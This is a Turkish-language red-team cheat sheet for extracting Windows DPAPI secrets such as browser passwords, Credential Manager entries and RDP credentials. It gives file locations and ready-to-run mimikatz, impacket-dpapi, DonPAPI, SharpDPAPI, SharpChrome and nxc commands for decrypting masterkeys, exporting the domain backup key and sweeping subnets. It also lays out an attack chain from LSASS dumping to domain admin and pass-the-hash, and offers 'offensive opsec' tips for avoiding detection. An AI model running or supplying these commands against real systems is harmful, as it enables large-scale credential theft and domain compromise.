DPAPI Secret Çıkarma
ATT&CK T1555.004 difficulty: orta
DPAPI (Data Protection API), Windows’ta tarayıcı parolaları, kayıtlı Wi-Fi/RDP kimlikleri, Credential Manager girdileri, Outlook/VPN sırları ve birçok uygulama verisini şifrelemek için kullanılır. Kullanıcı master key’si parola / SHA1 / domain backup key ile korunur; bu yüzden kullanıcı bağlamında veya domain DPAPI backup key ile toplu çözülebilir.
LSASS dump’tan sonra “oturumdaki sırların ötesi” — özellikle Chrome kayıtlı parolalar ve cmdkey ile saklanmış domain admin credential’ları.
Korunan veri nerede?
Section titled “Korunan veri nerede?”%APPDATA%\Microsoft\Protect\<SID>\ → user masterkeys%LOCALAPPDATA%\Microsoft\Vault\ → Credential Vault%APPDATA%\Microsoft\Credentials\ → Credential Manager blobs%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data%LOCALAPPDATA%\Microsoft\Protect\ → SYSTEM context (machine)C:\ProgramData\Microsoft\Protect\ → machine DPAPIÇözme akışı
Section titled “Çözme akışı”-
Blob ve masterkey’leri topla — hedef kullanıcı profilinden (veya C$ ile uzaktan kopyala).
-
Masterkey’i çöz — üç yaygın yol:
A) Kullanıcı parolası / NT hash biliniyorB) Kullanıcı oturumu açık → mimikatz dpapi::cred /rpc veya sekurlsa::dpapiC) Domain backup key (DA) → tüm kullanıcı masterkey'leriTerminal window impacket-dpapi masterkey -file \'/path/Protect/SID/GUID' -sid S-1-5-21-...-1111 -password 'UserPass'Terminal window impacket-dpapi masterkey -file MASTERKEY -sid S-1-5-21-... -hashes :NTHASHmimikatz # dpapi::masterkey /in:C:\...\GUID /sid:S-1-5-21-... /password:Passmimikatz # sekurlsa::dpapimimikatz # dpapi::cred /in:C:\Users\...\Credentials\BLOB -
Credential / Chrome blob’unu çöz :
Terminal window impacket-dpapi credential -file CRED_BLOB -key <decrypted_masterkey_hex>Terminal window DonPAPI.py domain/user:pass@10.10.10.0/24Terminal window DonPAPI.py -hashes :NTHASH domain/user@10.10.10.20
Domain backup key (güçlü yol)
Section titled “Domain backup key (güçlü yol)”DA/DCSync sonrası backup key tüm domain kullanıcı DPAPI’sini açar:
mimikatz # lsadump::backupkeys /system:dc01.domain.local /export# veyamimikatz # privilege::debugmimikatz # lsadump::backupkeysimpacket-dpapi backupkeys -t dc01.domain.local domain.local/admin:'Pass'impacket-dpapi masterkey -file MASTERKEY -pvk backup_key.pvk# Sonra her kullanıcı Protect\SID\* masterkey → credential blobRubeus / SharpDPAPI / diğer
Section titled “Rubeus / SharpDPAPI / diğer”SharpDPAPI.exe machinekeysSharpDPAPI.exe triageSharpDPAPI.exe masterkeys /password:USERPASSSharpDPAPI.exe credentials /target:C:\Users\bob\AppData\Roaming\Microsoft\CredentialsSharpChrome.exe logins /unprotectnxc smb TARGET -u user -H :HASH -M dplootnxc smb TARGET -u user -H :HASH -M firefoxnxc smb TARGET -u user -H :HASH -M rdpKomut üreteci
Section titled “Komut üreteci”DPAPI · masterkey
embedded toolimpacket-dpapi masterkey -file masterkey -sid S-1-5-21-1-2-3-1001 -password Pass123DPAPI · masterkey
Section titled “DPAPI · masterkey”Saldırı zinciri
Section titled “Saldırı zinciri”Local admin on WS → dump LSASS (bob NT + DPAPI keys) → Chrome passwords → vpn_admin parola → veya DA ile backupkeys → tüm laptop Credential Manager → DA cached cred → PtH / lateralOpsec (ofansif)
Section titled “Opsec (ofansif)”- Backup key export’u yüksek değerli; tek sefer al, güvenli sakla.
- DonPAPI geniş subnet taraması gürültülü — Owned host listesine sınırla.
- Chrome DB kopyalarken tarayıcı process lock → kopya shadow veya copy busy retry.
- SYSTEM DPAPI (scheduled task / servis sırları) ile user DPAPI’yi karıştırma; SID / context doğru olsun.
Yaygın tuzaklar
Section titled “Yaygın tuzaklar”- Yanlış SID ile masterkey çözmeye çalışmak.
- Domain user’da sadece parola denemek — çoğu zaman SHA1(pre-win10) / domain PK gerekir; backup key kolaylaştırır.
- Login Data SQL — key’i Local State’ten (AES) çözmek Chrome v80+ için ekstra adım; SharpChrome/DonPAPI bunu otomatikleştirir.
- Machine key ile user blob çözmeye çalışmak.
Sonraki adımlar
Section titled “Sonraki adımlar”LSASS Dumping · Pass-the-Hash · DCSync (backup key için)